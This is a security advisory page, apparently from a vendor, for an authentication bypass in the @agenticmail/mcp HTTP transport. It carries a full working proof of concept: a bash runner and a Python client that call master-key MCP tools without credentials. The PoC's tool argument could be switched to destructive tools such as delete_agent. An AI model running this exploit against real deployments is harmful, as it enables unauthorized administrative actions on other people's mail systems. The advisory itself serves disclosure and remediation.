Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-63gr-g7jc-v8rg

Fix: agenticmail/agenticmail@7b9b05d

GHSA-63gr-g7jc-v8rg is a Missing Authentication vulnerability in @agenticmail/mcp. O3 Security confirms whether GHSA-63gr-g7jc-v8rg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

@agenticmail/mcp Missing Authentication for Critical Function

Also known asCVE-2026-50287
Published
Jun 1, 2026
Updated
Jun 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-63gr-g7jc-v8rg.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk
0.00%0.29%0.57%0.86%0.4%0.4%0.4%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@agenticmail/mcpnpm
355downloads / week

Description

AgenticMail MCP HTTP authorization bypass

Summary

@agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly.

The problem is that the MCP server also exposes tools documented as requiring AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.

Confirmed with a read-only tool:

  • setup_guide

The same path reaches higher-impact tools such as:

  • setup_email_relay
  • setup_email_domain
  • delete_agent
  • cleanup_agents
  • send_test_email

Affected Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md

Relevant observations:

  • packages/mcp/src/index.ts starts an HTTP server for /mcp without checking an Authorization header.
  • packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools and forwards them with the server-side AGENTICMAIL_MASTER_KEY.
  • packages/mcp/README.md documents that gateway/admin tools require the master key.

Reproduction

Use the bundled one-command PoC runner:

cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh

Expected success output:

[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`

PoC Files

Inline PoC

The following PoC is non-destructive. It calls setup_guide, which is documented as a master-key tool but only returns setup guidance.

scripts/run_agenticmail_mcp_http_unauth_poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"

API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"

mkdir -p "$DATA_DIR" "$LOG_DIR"

node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
  echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
  exit 2
fi

find_free_port() {
  python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(("127.0.0.1", 0))
    print(sock.getsockname()[1])
PY
}

[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"

api_pid=""
mcp_pid=""
cleanup() {
  set +e
  [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
  [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT

wait_tcp() {
  local host="$1"
  local port="$2"
  local name="$3"
  for _ in $(seq 1 60); do
    if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sys.exit(0)
except Exception:
    sys.exit(1)
finally:
    sock.close()
PY
    then
      echo "[+] $name is listening: $host:$port"
      return 0
    fi
    sleep 1
  done
  echo "[-] Timed out waiting for $name: $host:$port" >&2
  return 1
}

cd "$REPO_DIR"

echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
  export AGENTICMAIL_API_HOST="$API_HOST"
  export AGENTICMAIL_API_PORT="$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
  export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"

scripts/agenticmail_mcp_http_unauth_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
    data = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return exc.code, dict(exc.headers), body


def parse_sse_or_json(body: str) -> list[dict]:
    events: list[dict] = []
    stripped = body.strip()
    if not stripped:
        return events
    if stripped.startswith("{") or stripped.startswith("["):
        parsed = json.loads(stripped)
        return parsed if isinstance(parsed, list) else [parsed]
    for line in body.splitlines():
        if not line.startswith("data:"):
            continue
        data = line[len("data:") :].strip()
        if not data:
            continue
        try:
            events.append(json.loads(data))
        except json.JSONDecodeError:
            pass
    return events


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
    parser.add_argument("--tool", default="setup_guide")
    args = parser.parse_args()

    init_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-03-26",
            "capabilities": {},
            "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
        },
    }

    status, headers, body = post_json(args.url, init_payload)
    print(f"[+] initialize HTTP status: {status}")
    print(f"[+] initialize response body: {body[:500]}")
    session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
    if not session_id:
        print("[-] No mcp-session-id header returned")
        return 2
    print(f"[+] received mcp-session-id without authentication: {session_id}")

    post_json(args.url, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {},
    }, session_id=session_id)

    status, _headers, body = post_json(args.url, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {"name": args.tool, "arguments": {}},
    }, session_id=session_id)
    print(f"[+] tools/call({args.tool}) HTTP status: {status}")
    print("[+] raw response:")
    print(body)

    if any("result" in msg for msg in parse_sse_or_json(body)):
        print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
        return 0

    print("[-] Tool call did not return a result")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Why This Is a Vulnerability

The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality.

Suggested Fix

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@agenticmail/mcpall versions0.9.27

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @agenticmail/mcp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @agenticmail/mcp to 0.9.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-63gr-g7jc-v8rg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-63gr-g7jc-v8rg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-63gr-g7jc-v8rg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# AgenticMail MCP HTTP authorization bypass ## Summary `@agenticmail/mcp` exposes a Streamable HTTP transport when started with `--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. The problem is that the MCP server also exposes tools documented as requiring `AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without kno
O3 Security · Impact-Aware SCA

Is GHSA-63gr-g7jc-v8rg in your dependencies?

O3 detects GHSA-63gr-g7jc-v8rg across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-63gr-g7jc-v8rg: @agenticmail/mcp | O3 Security